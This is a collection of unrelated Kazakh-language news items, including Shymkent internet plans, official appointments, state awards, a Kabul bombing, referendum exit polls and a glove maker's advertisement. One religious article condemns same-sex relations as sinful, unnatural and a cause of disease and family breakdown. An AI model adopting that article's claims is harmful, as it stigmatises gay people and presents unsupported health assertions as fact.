Оның айтуынша, базалық станция орнату үшін қала аумағынан 11 жер телімі анықталып, Google maps картасында белгіленген. Олар Н. Назарбаев даңғылы, Арғынбеков пен Айша бибі көшесінде, Қайтпас, Шымсити-Асар қиылысы, Қайнарбұлақ шағын ауданы, Асар шағын ауданындағы ішкі айналма жолы, Шымкент-Алматы тас жолынан Достық шағын ауданы бағытына қарай, Төлеметов-Өтегенов көшелерінің қиылысына қойылады деп жоспарлануда.
Стратегиялық жоспарда қаланы интернетпен қамту мәселесі бойынша зерделеу жұмыстарын жүргізетін жұмысшы топ құру, тұрғындарды сапалы интернетпен қамтамасыз ету үшін байланыс операторларымен меморандум түзу, «Ақылды күнбағыс» ақпараттық-танымдық кешенінің қызметін күшейту және санын арттыру, орнатылған базалық станциялардың адам өміріне қауіпсіздігі жөнінде тұрғындар арасында кеңінен түсіндіру жұмыстарын жүргізу қаралған.
Еліміздің цифрлық даму жолында интернет мәселесінің басты назарда екенін айтқан Мұрат Дүйсенбекұлы мегаполисті сапалы интернетпен қамтамасыз ету – бүгінгі күннің басты талабы екенін жеткізіп, салалық қала әкімінің орынбасарына стратегиялық жоспардың орындалуын қатаң бақылауды тапсырды . |
Халел Әкімжанов басқа жұмысқа ауысуына байланысты "Сарыарқа ӘКК" АҚ басқарма төрағасы қызметінен босатылды.
"Сарыарқа" әлеуметтік-кәсіпкерлік корпорациясында Басқарма төрағасы ауысты. Бұл лауазымға Қарағандының бұрынғы әкімі Нұрлан Әубәкіров тағайындалды, деп хабарлайды zakon.kz корпорацияның баспасөз қызметіне сілтеме жасап.
Оның екі жоғары білімі бар. Е.А. Бөкетов атындағы Қарағанды мемлекеттік университетін "Қаржы және несие" мамандығы бойынша бітірген, Д. А. Қонаев атындағы Гуманитарлық университетін "Құқықтану" мамандығы бойынша тәмамдаған.
Еңбек жолын бюджеттік банктің аға ревизоры болып бастады. Қарағанды облыстық қазынашылық басқармасында, Қарағанды облысы бойынша экономика және кәсіпкерлікті дамыту Бас басқармасында, Қарағанды облысының кәсіпкерлік және өнеркәсіп департаментінде жұмыс істеген.
Қарағанды қаласының Қазыбек би атындағы аудан әкімі аппаратының басшысы, Қарағанды қаласының ТКШ, жолаушылар көлігі және автомобиль жолдары бөлімінің бастығы, Қарағанды облысы әкімі аппараты басшысының орынбасары болды. 2009 жылдан 2010 жылға дейін Қарағанды қаласының Қазыбек би атындағы ауданын басқарды. Содан кейін Қарағанды әкімінің орынбасары болды. 2011 жылдан 2012 жылға дейін Қарағанды қаласының Октябрь ауданының әкімі, 2012 жылдан 2014 жылға дейін Балқаш қаласының әкімі болды. 2014 жылдың маусым айынан 2020 жылдың қыркүйек айына дейін Қарағанды қаласының әкімі қызметін атқарды.
Халел Әкімжанов басқа жұмысқа ауысуына байланысты "Сарыарқа ӘКК" АҚ басқарма төрағасы қызметінен босатылды. |
Мемлекет басшысы Қазақстан Республикасының «Қазақстан Республикасы мен Өзбекстан Республикасы арасындағы Стратегиялық серіктестік туралы шартын ратификациялау туралы» заңына қол қойды
2014 жылғы 06 мамыр
Мемлекет Басшысының Өкімімен Серік Салауатұлы Қожаниязов Қазақстан Республикасы Президентінің «Байқоңыр» кешеніндегі арнаулы өкілі қызметіне тағайындалды
2014 жылғы 04 мамыр
Мемлекет Басшысының Өкімімен Рзақұл Сәденұлы Нұртаев Қазақстан Республикасы Президентінің «Байқоңыр» кешеніндегі арнаулы өкілі қызметінен босатылды
2014 жылғы 04 мамыр
«Республикалық бюджет жобасын әзірлеу ережелерін бекіту туралы» Қазақстан Республикасы Президентінің 2009 жылғы 26 тамыздағы № 861 Жарлығына өзгерістер мен толықтырулар енгізу туралы
2014 жылғы 30 сәуір
Мемлекет басшысының Өкімімен Руслан Фатихұлы Жақсылықов Қазақстан Республикасы Ұлттық ұланының Бас қолбасшысы болып тағайындалды, ол бұрынғы атқарған қызметінен босатылды
2014 жылғы 24 сәуір
Қазақстан Республикасының Ұлттық қорынан бөлінген қаражаттың жұмсалуын бақылау жөніндегі комиссия туралы
2014 жылғы 24 сәуір
Мемлекет басшысы «Озон қабатын бұзатын заттар жөніндегі Монреаль хаттамасына 1999 жылғы 3 желтоқсанда Бейжіңде қабылданған Түзетуді ратификациялау туралы» Қазақстан Республикасының заңына қол қойды
2014 жылғы 23 сәуір
Мемлекет басшысы заңнамалық актілерді «Қазақстан Республикасының iшкi iстер органдары туралы» Қазақстан Республикасының жаңа заңына сәйкес келтіруге және қылмыстылыққа қарсы әрекет ету, қоғамдық қауіпсіздікті қамтамасыз ету жөнінде шаралар қабылдауға бағытталған «Қазақстан Республикасының кейбір заңнамалық актілеріне ішкі істер органдарының қызметі мәселелері бойынша өзгерістер мен толықтырулар енгізу туралы» Қазақстан Республикасының заңына қол қойды |
Британдық ақындар Шон О’Брайен мен Джон Бернсайд II дәрежелі «Достық» орденімен марапатталды. Құрметті атақ ел Президенті Қасым-Жомарт Тоқаевтың Жарлығымен Қазақстан мен Ұлыбритания және Солтүстік Ирландия Құрама Корольдігі арасындағы достық пен ынтымақтастықты нығайтуға қосқан елеулі үлесі үшін, сондай-ақ қазақтың ұлы ақыны, философ және ағартушысы Абай Құнанбайұлының мұрасын халықаралық аренада ілгерілетуге сіңірген еңбегі үшін берілді.
Екі ақын Абай шығармаларының ағылшын тіліндегі алғашқы толық жинағын Кембридж университеті баспасында дайындап, басу жобасына тікелей атсалысқан. «Ұлттық аударма бюросы» ҚҚ-мен (ҰАБ) серіктестікте жүзеге асырылған жоба шеңберінде британдық ақын профессор Ш.О’Брайен Абай поэзиясының аудармасын дайындаса, қарасөздерін шотланд ақыны, профессор Дж.Бернсайд тәржімалады. Айта кетейік, ағылшын тіліндегі басылым – қазақ ақынының шығармаларын әлемнің он тілінде жариялау жөніндегі ҰАБ-ның ауқымды жобасының бір бөлігі еді.
Ордендерді табыстау рәсімінде Қазақстанның Ұлыбританиядағы елшісі Ерлан Ыдырысов Қазақстан Тәуелсіздігінің 30 жылдығын мерекелеу жылында жоғары наг-
радаларды иеленудің символдық мәні бар екенін айтты. Ол сондай-ақ Дж.Бернсайд пен Ш.О’Брайеннің жаһандық ағылшынтілді аудитория арасында Абай мұрасын танымал етуге және екі ел мәдениетін өзара жақындастыру ісіне қосқан зор үлестерін атап өтті.
Профессор Шон О’Брайен – британдық ақын, сыншы, драматург. Элиот, «Forward Prize», Сомерсет Моэм сыйлықтарымен марапатталған. Ал профессор Джон Бернсайд – шотланд ақыны және жазушысы, Сент-Эндрюс университетінің ағылшын тілі профессоры. Поэзия мен прозаның бірқатар жинағын жариялаған. Элиот, «Forward Prize», О.Генри сыйлықтарының лауреаты. Оның шығармаларының аудармалары Германия, Франция, Испания, Италия, Түркия, Нидерланд, ҚХР, Индонезия, Хорватия, Бразилия және Аргентинада басылған. |
НҰР-СҰЛТАН, 30 сәуір. Бүгін Ауғанстан астанасы Кабулдағы мешіттердің бірінде жарылыс салдарынан көптеген адамдар қаза тапты немесе жараланды, деп оқиға куәгерлеріне сілтеме жасап Синьхуа агенттігі жазады, деп «Терроризмге қарсы комитет» РҚБ ресми сайты хабарлайды.
«Түскі уақытта болған жойқын жарылыстан көп адам зардап шекті», — деді Синьхуа агенттігіне Мохаммад Кабир.
«Шабуыл Кабулдың батысындағы Карта-и-Сах елді мекеннің Сера-и-Аллаводдин ауданындағы Халифа Сахиб мешітінің діндар адамдары болғанына ұқсайды. Жарылыстың сипаты әлі анықталған жоқ. Бұл жанкешті болуы мүмкін», — деп қосты ол.
Сақтық шарасы аясында «Талибан»* қауіпсіздік күштері аймақты қоршауға алды.
Шабуыл жұма намазынан кейін көп ұзамай, бір топ мүміндер қасиетті Рамазан айына арналған арнайы діни рәсімді зікір ету кезінде жасалған.
Әзірге ешбір топ жарылыс үшін жауапкершілікті мойнына алған жоқ. Соңғы апталарда «Талибан» басқаратын уақытша үкіметке қарсы «Ислам мемлекеті» (ИМ)* содырлары ұйымдастырды деген бірнеше шабуылдар болды.
Бір күн бұрын Ауғанстанның Мазари-Шариф қаласында екі жарылыс болып, тоғыз адам қаза тауып, 13 адам жараланған болатын.
* Қазақстан Республикасында тыйым салынған ұйым
Tags"Талибан" қозғалысыАуғанстанбейбіт тұрғындардың қазасыжарылысИслам мемлекетіхалықаралық терроризммен күрес
Previous « АҚШ-та есірткі саудасымен айналысқан деген айыппен Британдық Виргин аралдарының премьеры ұсталды |
Астана күніне арналған мерекелік салтанат «Қазақ елі» мәдени-демалыс саябағында өткен алғашқы шара болды.
Санаулы минуттар бұрын тұсауы кесілген саябақта Елорда күні мерекесі аталды. Марапатпен басталған шарада аудан әкімі Марат Мурзиев аудандық мәслихат хатшысы Нұрлан Мұханбеталиев, «Нұр Отан» партиясы аудандық филиалы төрағасының бірінші орынбасары Айбатыр Бекішұлы, аудандық ардагерлер кеңесінің төрағасының міндетін атқарушы Ботагөз Құлғалиева, аудандық мәслихат депутаттары Лиза Мутянова, Нұрым Мусин, аудандық орталық аурухананың бас мейіргері Назым Ідірісова, аудандық жастар ресурстық орталығының басшысы Ринат Есқалиға ел Президенті Қасым-Жомарт Тоқаевтың алғыс хатын табыстады.
Аудан басшысы сондай-ақ ауданның әлеуметтік-экономикалық дамуына қосқан үлесі үшін Дарын Зұлқашевқа берілген Исатай ауданының Құрметті азаматы атағының куәлігі мен төсбелгісін марқұмның анасы Күлән Әженқызына ұсынды.
Мерекелік шарада мемлекеттік қызметтен зейнеткерлікке шыққан аудандық мәслихаттың аппарат басшысы Жансих Маштахов пен Исатай ауылдық округінің әкімі Ұлбосын Хисымға аудан әкімінің құттықтау хаты тапсырылды. Ұлбосын апай, сонымен қатар, облыстық мәслихаттың алғыс хатымен марапатталды.
Мерекелік салтанат аудан өнерпаздарының сазды бағдарламасына ұласты. Дәстүрлі ән-күй, астана, Отан, туған жер тақырыбындағы әуезді әндер саябаққа жиылған көпшіліктің көңілін көтерді. |
Бүгінде адамды рухани тұрғыдан аздыратын әрекеттер мақсатты түрде насихатталуда. Соның бірі – біржынысты қатынас. Шариғат мұндай қатынасты ауыр күнә қатарына жатқызады.
Ер мен ердің немесе әйел мен әйелдің жыныстық қатынасқа баруы Лұт пайғамбардың (оған Алланың сәлемі болсын) қауымы жасаған сұрқия іс. Алла Тағала Құранда: «Лұт сол уақытта еліне: «Сендерден бұрын әлемнен ешкімнің істемеген арсыздығын істейсіңдер ме?» – деді. «Сендер әйелдерді қойып еркектерге қызығып келесіңдер ме? Әрине сендер шектен шыққан елсіңдер» («Ағраф» сүресі, 80-81 аяттар), «Лұтқа хикмет, ғылым бердік. Жаман істер істейтін кенттен құтқардық. Рас олар жаман бұзық ел еді» («Әнбия» сүресі, 74-аят), «Дұрысында оларға тас жаудырған боран жібердік. Бірақ Лұттың отбасын таңменен құтқардық» («Қамар» сүресі, 34-аят) делінген. Бұл аяттарда Лұт пайғамбардың (оған Алланың сәлемі болсын) қауымына түсірілген жаза жайында айтылған. Осылайша Алла Тағала шариғатқа қайшы жыныстық қатынастың жазасы ауыр болатынын ескертуде.
Ардақты Пайғамбарымыз (оған Алланың салауаты мен сәлемі болсын): «Үмбетім үшін ең қауіптенетін нәрсе – Лұт қауымының ісі», – деп айтқан (Тирмизи, Ибн Мәжа). Ибн Аббас (Алла оған разы болсын) жеткізген хадисте Пайғамбарымыз (оған Алланың салауаты мен сәлемі болсын) былай деген: «Хайуанмен жыныстық қатынасқа түскендер Алла Тағаланың қарғысына ұшырады! Лұттың қауымы істеген істі істегендер Алла Тағаланың қарғысына ұшырады!» (Ахмад).
Ер кісімен жыныстық қатынасқа түскен ер және әйелмен жыныстық қатынас жасаған әйел өз табиғатына (фитраға) қайшы әрекет жасаған болып саналады. Себебі Алла Тағала ер кісіні әйелге немесе әйелді ер кісіге ынтық етіп жаратқан. Жануарлар да сол тәрізді. Олардың еркегі ұрғашысына немесе ұрғашысы еркегіне құштар болады. Басқаша болуы табиғатқа қайшы.
Бір жынысты адамдардың бір-бірімен жыныстық қатынас жасауы түрлі кеселге ұрындырады. Бұл жағдай отбасының күйреуіне, туыстық қатынастың жойылуына әкеп соғады. Адам баласы Алла Тағаланың талаптары мен тыйымдарын орындау арқылы ғана амандыққа, есендікке, қауіпсіздікке қол жеткізіп, ары мен абыройын және денсаулығын сақтай алады. Сондай-ақ адам баласы тек Алла Тағаланың айтқанын орындау арқылы ғана жаратылу табиғатына сай тіршілік ете алады.
Алла Тағала о бастан адамзатты жұп етіп, яғни ер мен әйел етіп жаратқан. Ол жайында Құранда: «…сендерді бір кісіден жаратқан және одан оның жұбайын жаратып, ол екеуінен көптеген ер, әйелді таратқан Раббыларыңнан қорқыңдар» («Ниса» сүресі, 1-аят), – деген. Сол секілді «Сендерді жұп-жұп етіп жараттық» («Нәбә» сүресі, 8-аят) деп айтылған. Жаратушы Иеміз ер мен әйелді бір-бірін физиологиялық әрі рухани тұрғыдан толықтыру үшін жұп етіп жаратқан. Олар бір-біріне болған сүйіспеншілік негізінде өзара одақ құруы тиіс. Бұл одақтың ең басты мақсаты – дүниеге ұрпақ әкелу. Исламның бір жыныстағы адамдардың өзара жыныстық қатынасын қабыл етпеуі осы ұғымға негізделген.
Исламда зинақорлық қандай харам болса, бір жыныстағы екі тұлғаның өзара жыныстық қатынасқа түсуі де – харам. Құранда мұндай ауытқулар «әл-фахиша», яғни «арсыздық, бұзақылық» деп айтылған. Арсыздық (фахиша) – бір жыныстағы екі адамның өзара жыныстық қатынаста болуы. Күнәға белшесінен батқан Лұт қауымына тиісті жазасы берілді. Олар көздері көр етілген халде таңға жуық толығымен опат етілді.
Адамзат тарихында Алла Тағаланың заңын, адамгершілік заңдылығын (қылмыстық кодексті) аяқ асты ететіндер қашан да болған. Дегенмен олар заңды бұзып, кейін бұл дүниеде әкімшілік немесе қылмыстық жазадан құтылу жолдарын тапқанымен, қиямет күні оларды жоқтан бар еткен Алла Тағаланың әділ сотынан құтыла алмайды. Тіпті дінсіз адамның өзі бір қылмысқа барған жағдайда ар-ұжданы алдында азап шекпей ме? Бар мәселе біреу ұялып күнәдан қайтса, ал біреу ол сезімді елемейді. Осы жағдай ол үшін қай жағынан болмасын тым қауіпті. |
Еxit poll-ға қатысушы ұйымдардың сұхбатшылары қазір ҚР Конституциясына өзгерістер мен толықтырулар енгізу жөніндегі референдумға сайлаушылардың қатысуы мен дауыс беру барысы туралы сауалнама жүргізіп жатыр, деп хабарлайды Zakon.kz тілшісі.
Еxit poll бүгін Қазақстанның барлық өңірінде белсенді жұмыс істеп жатыр. Бұл – сайлау нәтижелерін ресми түрде санау алдында жылдам алдын ала анықтау әдісі.
Алматыдағы «Астана» кешенді әлеуметтік зерттеулер институтының сұхбатшысы Ілияс Куюриянов мұндай форматта бірінші рет жұмыс істеп тұрмағанын алға тартты. Оның айтуынша, дауыс беру процесі ол үшін қызық тәжірибе.
Оның өзі де бір кездері сайлау комиссиясының мүшесі, қоғамдық бірлестіктерден бақылаушы болған. Бұл жолы мен де №75 мектеп жанындағы №140 сайлау учаскесіне қатысып, сауалнама жүргізуді жөн көріпті. Оның айтуынша, алматылықтар таңертеңнен бері белсенді түрде дауыс беруге кірісті.
Мен тұрған сайлау учаскесінде белсенділік өте жоғары, өйткені біз мұнда сайлау учаскесі ашылғанға дейін келдік әрі адамдар ағыны көп болды. Кәрі де, жас та, әр түрлі жастағы адамдар келіп жатыр. Барлығы мерекелік көңіл-күйде, адамдарда үміт басым. Сайлауға келгендердің барлығынан дауыс берді ме, жоқ па деп сұрадық. Келгендердің көпшілігі өзгерістерге «қолдаймын» деп дауыс берді, «қарсымын» деп жауап бергендер аз. Бізге жауап беруден бас тартқандар да болды, бірақ бұл олардың құқығы. Ілияс Кубриянов
Нұр-Сұлтанда да референдумға халықтың оң көзқарасы мен белсенділігі байқалады. «Қоғамдық пікір» ғылыми-зерттеу институтының exit poll өкілі Әділбек Асан «Астана опера» мемлекеттік опера және балет театрындағы №115 сайлау учаскесінде жүр. Ол аға буын өкілдері де, жастар да бірдей белсенділікпен дауыс беріп жатқанын айтты.
Адамдардың көңіл-күйі позитивті. Мен сайлау учаскесінде таңғы 7:00-ден 19:00-ге дейін боламын. Адамдардың өте көп екенін атап өткім келеді. 115-сайлау учаскесінде көп адам тіркелген. Жастар да, аға буын да дауыс беріп жатыр. Сайлау учаскесінен шыға берісте азаматтардың қалай дауыс бергенін сұраймыз. Кейбір адамдар өз ұстанымдарын бөлісуге дайын. Әркімнің өз пікірі бар, әркім өз ойын дұрыс деп жауап береді. Егер адам жауап бергісі келмесе, келіспейтінін айтады. Біз басқа адаммен сұхбаттасуға көшеміз. Сауалнамаға қатысу әркімнің өз еркінде. Біздің ауданда ешкім ештеңеге шағымданған жоқ. Әділбек Асан
Сурет: Zakon.kz
«Қоғамдық пікірдің» exit poll бақылаушысы Самал Шамалова қазірдің өзінде Ақтөбе құрылыс-монтаж колледжінің ғимаратында орналасқан №109 сайлау учаскесінде халықтың референдумға жақсы көңіл-күймен қатысып жатқанын айтты. Елордадағыдай мұнда да дауыс беру тыныш жағдайда өтіп жатыр.
Заң бойынша біздің аумақта болуға құқығымыз жоқ, мен дәл ауланың кіре берісінде тұрмын. Дауыс беру жақсы өтіп жатыр. Ешқандай бұзушылық болған жоқ, бәрі тыныш, бейбіт. Сағат 07:00-ден бастап мен учаскедемін, барлығының көңіл-күйі жақсы. Әркім пікір білдіріп жатыр. Негізінде таңертең аға буын өкілдері болды. Ауа-райы тамаша, қазір күн ашық. Кейінірек әртүрлі жас категориялары сәйкес келе бастады. Біз қалай дауыс бергенін сұрап жатырмыз. Жауап беруден бас тартатындар да бар, бірақ көбі таңдауы туралы айтуға келісім берді.Самал Шамалова
Сурет: Zakon.kz
Қазақстанда Конституцияға өзгерістер мен толықтырулар енгізу бойынша республикалық референдум өтіп жатыр.
Ел бойынша сайлау учаскелері 5 маусым күні таңғы сағат 7:00-де ашылды. 20:00-ге дейін дауыс беруге болады. |
Сенат Төрағасы Мәулен Әшімбаев ЕҚЫҰ-ның БАҚ бостандығы жөніндегі өкілі Тереза Рибейромен кездесті. Кездесу барысында Сенат Спикері Қазақстан ЕҚЫҰ-ның қауіпсіздік, оның ішінде сөз бостандығын қамтамасыз ету жөніндегі негізгі бағыттарын ілгерілетуге мүдделі екенін атап өтті.
«ЕҚЫҰ-ның Астана декларациясы қабылданғалы бері 10 жыл уақыт өтті. Бұл құжатта Еуроатлантикалық және Еуразиялық қоғамдастық елдері үшін қауіпсіздіктің бөлінбейтіндігі туралы негізгі тезис жазылған. Қазақстан ЕҚЫҰ қабылдаған қауіпсіздіктің негізгі үш бағыты: әскери-саяси, экономикалық-экологиялық және гуманитарлық салалардың маңыздылығын үнемі басты назарда ұстап келеді. Сондықтан біз сөз бостандығын қамтамасыз ету және БАҚ мәселелеріне ерекше мән береміз», – деді Мәулен Әшімбаев.
Сонымен қатар Сенат Төрағасы елімізде азаматтардың сөз бостандығы бойынша құқықтарын қамтамасыз етуді одан әрі жетілдіру үшін жүйелі жұмыс жүргізіліп келе жатқанын айтты. Сондай-ақ отандық медианы жаңғырту және бәсекеге қабілетті қазақстандық БАҚ-ты дамыту үшін де тиісті жағдайлар жасалып жатқанына назар аударды. Ол үшін «Ақпаратқа қол жеткізу туралы» және «БАҚ туралы» заңдар қабылданды. Одан бөлек, Қазақстан БАҚ саласындағы халықаралық құжаттар базасын ратификациялады. Оның ішінде Азаматтық және саяси құқықтар туралы халықаралық пакт, Адам құқықтарының жалпыға бірдей декларациясы және ЕҚЫҰ мен ЮНЕСКО-ның басқа да құжаттары бар.
Сұхбат барысында «Халық үніне құлақ асатын мемлекет» тұжырымдамасы аясында Қазақстан Президенті Қасым-Жомарт Тоқаевтың бастамасымен қолға алынған жүйелі реформалар жайы да сөз болды. Мәулен Әшімбаев ол реформаларды іске асыруда Парламент маңызды рөл атқаратынын атап өтті.
«Президентіміздің елімізді жаңғырту бағдары аясында саяси реформалардың үш топтамасы ұсынылды. Қазіргі таңда мемлекеттік органдардың ашықтығы мен қоғам алдындағы есептілігін арттыруға арналған «Қоғамдық бақылау туралы» заң жобасы әзірленіп жатыр. Адам құқықтарын қорғау саласын күшейтуге баса мән берілуде. Сондай-ақ азаптауларға қарсы және адам саудасымен күрес, азаматтарды, әсіресе балаларды кибербуллингтен қорғау жөніндегі заңнамаларды жетілдіру бойынша жұмыс жүргізіліп келеді», – деді Мәулен Әшімбаев.
Сенат Спикерінің айтуынша, әлем бойынша цифрлық медиа-ортаны дамыту азаматтардың сөз бостандығын қамтамасыз етудің шешуші факторына айналды. Заманауи медиа технологиялар және олардың дамуы бір жағынан жаңа мүмкіндіктерге жол ашса, екінші жағынан түрлі сын-қатерлерді де тудырғаны сөзсіз. Мәулен Әшімбаев бұл мәселелерді тиімді шешу үшін халықаралық қоғамдастық белсенділік танытуға тиіс екенін тілге тиек етті.
Кездесу соңында Сенат Төрағасы ЕҚЫҰ өкілі Тереза Рибейроның елімізге сапары Қазақстан мен Ұйымның ынтымақтастығын одан әрі арттырып, екіжақты байланысқа тың серпін беретініне сенім білдірді. |
Президент Алматы облысының орталығы Қапшағай қаласы болатынын айтты. Егер халық қолдап жатса, қаланың атауы ауысуы мүмкін, деп хабарлайды Экспресс К.
Үшінші мәселе. Алматы агломерациясына қатысты түйткілдер көп. Осы және басқа да жайттарды ескере отырып, Алматы облысын екіге бөлуді ұсынамын. Бұл өңірде Жетісу және Алматы облыстары құрылады. Алматы облысының орталығы Қапшағайда болуы керек,
— деді Президент.
Оқи отырыңыз:
Президент партияда болмауы керек — Тоқаев
Тоқаев: "Шындыққа жанаспайтын жалған табыстарға масаттанып отыратын заман кетті"
Тоқаев Қапшағай қаласына жұртшылық Қонаевтың атын беру керегін айтса, бұл ұсынысты қолдайтынын айтты.
Қапшағай қаласы еліміздің біртуар азаматы Д.Қонаевтың есімімен тығыз байланысты. Егер тұрғындар қалаға Қонаевтың есімін беруді ұсынса, мен мұны қолдаймын. Жергілікті тұрғындар жаппай қолдаса, осы бастамаларды таяу арада жүзеге асыруға болады,
— деді мемлекет басшысы.
Бұған дейін мемлекет басшысы Президентті биліктен кетіргісі келгендердің арасында белгілі адамдар барын айтқан. |
Jiangsu Dexing Safety Products Co., Ltd. «Қытайдағы лотостың астанасы» ретінде белгілі Цзинху су қалашығында орналасқан.Компания Шанхай порты мен Циндао портына іргелес, Шанхай Пудун халықаралық әуежайы мен Нанкин Лукоу халықаралық әуежайының жанында орналасқан, жоғары географиялық орналасуы, әдемі ортасы және құрлық, теңіз және әуе арқылы ыңғайлы тасымалдау.
Біз негізінен мыжылған латекспен қапталған қолғаптар, латекспен қапталған қолғаптар, латекс көбікпен қапталған қолғаптар, латекс жалпақ жабыны бар қолғаптар, нитрилді жылтыр жабынмен қапталған қолғаптар, нитрилді аязды жабынмен қапталған қолғаптар, нитрилді көбікпен қапталған қолғаптар, PU қапталған қолғаптар, ПВХ жабыны бар қолғаптар, кесілген төзімді қолғаптар шығарамыз. Өндірістің озық технологиясымен және өндірістік жабдықпен өнімдеріміздің сапасы тұрақты, бағасы адал және дизайны әдемірек.Қазіргі уақытта біздің компания ISO9001 сапа жүйесінің сертификаттауынан толық өтті, ал біздің өнімдер ЕО CE сертификатынан сәтті өтті.Қолғаптардың 60-тан астам түрі бүкіл елде жақсы сатылады және Еуропа, АҚШ, Жапония, Таяу Шығыс, Ресей және Африка сияқты 30-дан астам елдер мен аймақтарға экспортталады.
Құрылған күннен бастап, Jiangsu Dexing Safety Products Co., Ltd. «сапа, адалдық және сенімділік, өзара тиімділік пен жеңіске жету арқылы өмір сүру» қағидасына сүйене отырып, тұтынушыларымыздың қажеттіліктерін қанағаттандыру үшін өнімдердің сапасын жаңартуды және жақсартуды жалғастырды. жеңу».
Неліктен бізді таңдайсыз
Біздің компанияда 9 PU өндірістік желісі, 3 нитрил және латекс өндірісі бар;ПУ қолғаптарының айлық өндірістік қуаты шамамен 430000 дана (5160000 жұп/ай), ал нитрил және латекс қолғаптарының өндірістік қуаты 100000 ондаған（1200000 жұп/ай).Жеткізу күні тапсырыс расталғаннан кейін 60 күнге жоспарланған.Бізде 20 мүшесі бар мамандандырылған сапа менеджменті бөлімі бар және өнімнің сапасын қамтамасыз ету үшін әрбір процесс қатаң бақыланады.
Біз автоматтандырылған өндірістік желілерді, өндірістік желі принтерін, автоматты аршу машинасын қолданамыз, бұл еңбекті пайдалануды айтарлықтай азайтады және өндірістік қуатты жақсартады.Сонымен қатар, біз орау қабілетін жақсарту үшін жылу тасымалдағышпен, орау желісінің жұмысымен жабдықталған.Біз сапаны бақылау үшін кесу анықтау машинасы, тозуға төзімді анықтау машинасы сияқты бірқатар сынақ машиналарымен жабдықталған.
Біздің компания Қаржы департаменті, Халықаралық сауда департаменті, Сатып алу бөлімі, Сапаны бақылау департаменті және Өндіріс департаменті сияқты бірнеше бөлімдерден тұрады.Кафедра мүшелері жас, жігерлі, ұқыпты және саналы болып келеді.Сондай-ақ біз әрбір детальға мән береміз.Күнделікті өмірде біз бір-бірімізге қамқорлық жасаймыз.
Біздің сертификат
жазылу
& Жақында болыңыз
Біздің өнімдер немесе бағалар тізімі туралы сұраулар үшін бізге қалдырыңыз, біз 24 сағат ішінде байланысамыз. |